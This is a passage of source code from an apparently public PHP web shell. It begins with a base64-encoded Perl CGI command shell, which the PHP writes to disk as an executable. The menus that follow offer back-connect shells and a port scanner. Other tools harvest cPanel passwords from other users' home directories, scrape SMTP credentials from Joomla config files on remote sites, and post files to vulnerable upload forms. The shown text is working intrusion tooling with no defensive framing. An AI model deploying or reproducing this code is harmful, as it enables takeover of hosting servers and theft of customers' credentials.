LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7";
  2562.     $cgi = fopen($file_cgi, "w");
  2563.     fwrite($cgi, base64_decode($cgi_script));
  2564.     fclose($cgi);
  2565.     chmod($file_cgi, 0755);
  2566.     echo "<iframe src='cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  2567. }
  2568. elseif($_GET['pake'] == 'tool') {
  2569. echo "<center>";
  2570. echo "<ul>";
  2571. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2572. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2573. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2574. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2575. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2576. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2577. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2578. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2579. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2580. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2581. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2582. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2583. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2584. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2585. echo "</ul>";
  2586. echo "</center>";
  2587. }
  2588. elseif($_GET['pake'] == 'manjat') {
  2589. echo "<center>";
  2590. echo "<ul>";
  2591. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2592. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2593. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2594. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2595. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2596. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2597. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2598. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2599. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2600. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2601. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2602. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2603. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2604. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2605. echo "</ul>";
  2606. echo "</center>";
  2607.  
  2608.     echo "<center>";
  2609.     $d0mains = @file('/etc/named.conf');
  2610.     $domains = scandir("/var/named");
  2611.      
  2612.     if ($domains or $d0mains)
  2613.     {
  2614.         $domains = scandir("/var/named");
  2615.         if($domains) {
  2616.     echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  2617.     $count=1;
  2618.     $dc = 0;
  2619.     $list = scandir("/var/named");
  2620.     foreach($list as $domain){
  2621.     if(strpos($domain,".db")){
  2622.     $domain = str_replace('.db','',$domain);
  2623.     $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  2624.     $dirz = '/home/'.$owner['name'].'/cpanel3-skel';
  2625.     $path = getcwd();
  2626.      
  2627.     if (is_readable($dirz)) {
  2628.     copy($dirz, ''.$path.'/lol/'.$owner['name'].'.txt');
  2629.     $p=file_get_contents(''.$path.'/lol/'.$owner['name'].'.txt');
  2630.     $password=entre2v2($p,'password="','"');
  2631.     echo "<tr><td>".$count++."</td><td><a href='http://$domain' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td></tr>";
  2632.     $dc++;
  2633.     }
  2634.      
  2635.     }
  2636.     }
  2637.     echo '</table>';
  2638.     $total = $dc;
  2639.     echo '<br><div class="result">Total WHM User Found = '.$total.'</h3><br />';
  2640.     echo '</center>';
  2641.     }else{
  2642.     $d0mains = @file('/etc/named.conf');
  2643.         if($d0mains) {
  2644.     echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  2645.     $count=1;
  2646.     $dc = 0;
  2647.     $mck = array();
  2648.     foreach($d0mains as $d0main){
  2649.         if(@eregi('zone',$d0main)){
  2650.             preg_match_all('#zone "(.*)"#',$d0main,$domain);
  2651.             flush();
  2652.             if(strlen(trim($domain[1][0])) >2){
  2653.                 $mck[] = $domain[1][0];
  2654.             }
  2655.         }
  2656.     }
  2657.     $mck = array_unique($mck);
  2658.     $usr = array();
  2659.     $dmn = array();
  2660.     foreach($mck as $o) {
  2661.         $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  2662.         $usr[] = $infos['name'];
  2663.         $dmn[] = $o;
  2664.     }
  2665.     array_multisort($usr,$dmn);
  2666.     $dt = file('/etc/passwd');
  2667.     $passwd = array();
  2668.     foreach($dt as $d) {
  2669.         $r = explode(':',$d);
  2670.         if(strpos($r[5],'home')) {
  2671.             $passwd[$r[0]] = $r[5];
  2672.         }
  2673.     }
  2674.     $l=0;
  2675.     $j=1;
  2676.     foreach($usr as $r) {
  2677.     $dirz = '/home/'.$r.'/cpanel3-skel';
  2678.     $path = getcwd();
  2679.     if (is_readable($dirz)) {
  2680.     copy($dirz, ''.$path.'/lol/'.$r.'.txt');
  2681.     $p=file_get_contents(''.$path.'/lol/'.$r.'.txt');
  2682.     $password=entre2v2($p,'password="','"');
  2683.     echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td></tr>";
  2684.     $dc++;
  2685.                     flush();
  2686.                     $l=$l?0:1;
  2687.                     $j++;
  2688.                                     }
  2689.                 }
  2690.                             }
  2691.     echo '</table>';
  2692.     $total = $dc;
  2693.     echo '<br><div class="result">Total WHM Account Found = '.$total.'</h3><br />';
  2694.     echo '</center>';
  2695.      
  2696.     }
  2697.     }
  2698.  
  2699. }
  2700. elseif($_GET['pake'] == 'smtp') {
  2701. echo "<center>";
  2702. echo "<ul>";
  2703. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2704. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2705. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2706. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2707. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2708. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2709. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2710. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2711. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2712. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2713. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2714. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2715. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2716. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2717. echo "</ul>";
  2718. echo "</center>";
  2719.     echo"<center>
  2720.     <br><br><br>
  2721.     VHosts SMTP Grabber<br><br>
  2722.     <form method='post'>
  2723.     <textarea style='width: 450px; height: 150px;' name='sites' placeholder='http://domen.com/dir_config/config.txt'></textarea><br>
  2724.     <input type='submit' name='go' value='Hajar'>
  2725.     </form>";
  2726.     $ya=$_POST['go'];
  2727.     $co=$_POST['sites'];
  2728.  
  2729.     if($ya){
  2730.      $e=explode("\r\n",$co);
  2731.      foreach($e as $bda){
  2732.         //echo '<br>'.$bda;
  2733.         $linkof='';
  2734.         $dn=($bda).($linkof);
  2735.         $file=@file_get_contents($dn);
  2736.         if(preg_match("/JConfig|joomla/", $file)) {
  2737.         echo'<center><font face="Iceland" color=Red >----------------------------------------------</font></center>';
  2738.                     echo "<font face='Iceland' color=lime >SMTP USER : </font>".findit($file,"smtpuser = '","'")."<br>";
  2739.                     echo "<font face='Iceland' color=lime >SMTP PASS : </font>".findit($file,"smtppass = '","'")."<br>";
  2740.                     echo "<font face='Iceland' color=lime >SMTP HOST : </font>".findit($file,"smtphost = '","'")."<br>";
  2741.                     echo "<font face='Iceland' color=lime >SMTP PORT : </font>".findit($file,"smtpport = '","'")."<br>";
  2742.                     echo "<font face='Iceland' color=lime >SMTP AUTH : </font>".findit($file,"smtpauth = '","'")."<br>";
  2743.                     echo "<font face='Iceland' color=lime >SMTP SECURE : </font>".findit($file,"smtpsecure = '","'")."<br>";
  2744.         }
  2745.        
  2746.         else{echo "<center><font face='Iceland' color='Red' >".$bda." ----> There is no SMTP </font></center>";}
  2747.         echo'<center><font face="Iceland" color=red >----------------------------------------------</font></center>';
  2748.      }
  2749.      
  2750.     }
  2751.  
  2752.  
  2753. }
  2754. elseif($_GET['pake'] == 'scdc') {
  2755. echo "<center>";
  2756. echo "<ul>";
  2757. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2758. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2759. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2760. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2761. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2762. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2763. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2764. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2765. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2766. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2767. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2768. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2769. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2770. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2771. echo "</ul>";
  2772. echo "</center>";
  2773.  
  2774.         $text = $_POST['code'];
  2775.     echo"<center><br><b>Script Encode and Decode</b><br>
  2776.     <form method='post'><br><br><br>
  2777.     <textarea style='width: 450px; height: 150px;' name='code' placeholder='scmu'></textarea><br><br>
  2778.     <select class='inputz' size='1' name='ope'>
  2779.     <option value='base64'>Base64</option>
  2780.     <option value='gzinflate'>str_rot13 - gzinflate - base64</option>
  2781.     <option value='str'>str_rot13 - gzinflate - str_rot13 - base64</option>
  2782.     </select>&nbsp;<input type='submit' name='submit' value='Encrypt'>
  2783.     <input type='submit' name='submits' value='Decrypt'>
  2784.     </form>";
  2785.         $submit = $_POST['submit'];
  2786.         if (isset($submit)) {
  2787.             $op = $_POST["ope"];
  2788.             switch ($op) {
  2789.                 case 'base64':
  2790.                     $codi = base64_encode($text);
  2791.                 break;
  2792.                 case 'str':
  2793.                     $codi = (base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  2794.                 break;
  2795.                 case 'gzinflate':
  2796.                     $codi = base64_encode(gzdeflate(str_rot13($text)));
  2797.                 break;
  2798.                 default:
  2799.                 break;
  2800.             }
  2801.         }
  2802.         $submit = $_POST['submits'];
  2803.         if (isset($submit)) {
  2804.             $op = $_POST["ope"];
  2805.             switch ($op) {
  2806.                 case 'base64':
  2807.                     $codi = base64_decode($text);
  2808.                 break;
  2809.                 case 'str':
  2810.                     $codi = str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  2811.                 break;
  2812.                 case 'gzinflate':
  2813.                     $codi = str_rot13(gzinflate(base64_decode($text)));
  2814.                 break;
  2815.                 default:
  2816.                 break;
  2817.             }
  2818.         }
  2819.         echo "<textarea style='width: 450px; height: 150px;' readonly>$codi</textarea></center><BR><BR>";
  2820. }
  2821. elseif($_GET['pake'] == 'csrf') {
  2822. echo "<center>";
  2823. echo "<ul>";
  2824. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2825. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2826. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2827. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2828. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2829. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2830. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2831. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2832. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2833. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2834. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2835. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2836. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2837. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2838. echo "</ul>";
  2839. echo "</center>";
  2840.  
  2841.     echo"<center> CSRF ONLINE
  2842.     <html>
  2843.     <form method='post'>
  2844.     <select name='array' required>
  2845.     <option value=''>Array</option>
  2846.     <option value='files[]'>files []</option>
  2847.     <option value='qqfile'>qqfile</option>
  2848.     <option value='Filedata'>Filedata</option>
  2849.     <option value='FileUpload'>FileUpload</option>
  2850.     <option value='userfile'>userfile</option>
  2851.     <option value='Uploadfile'>Uploadfile</option>
  2852.     <option value='file'>file</option>
  2853.     </select>
  2854.     <input type='text' name='target' size='50' height='10' placeholder='url http://site.com/bug/vuln.php' style='margin: 5px auto; padding-left: 5px;' required><br>
  2855.     <input type='submit' name='kunci' value='Lock!'>
  2856.     </form>";
  2857.  
  2858.     $url = $_POST['target'];
  2859.     $pf = $_POST['array'];
  2860.     $terkuncyihh = $_POST['kunci'];
  2861.     if($terkuncyihh) {
  2862.         echo "<form method='post'
  2863.         target='_blank' action='$url'
  2864.         enctype='multipart/form-data'>
  2865.         <input type='file' name='$pf'>
  2866.         <input type='submit' name='g'
  2867.         value='Hajar'></form";
  2868.     }
  2869. }
  2870. elseif($_GET['pake'] == 'dos') {
  2871. echo "<center>";
  2872. echo "<ul>";
  2873. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2874. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2875. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2876. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2877. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2878. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2879. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
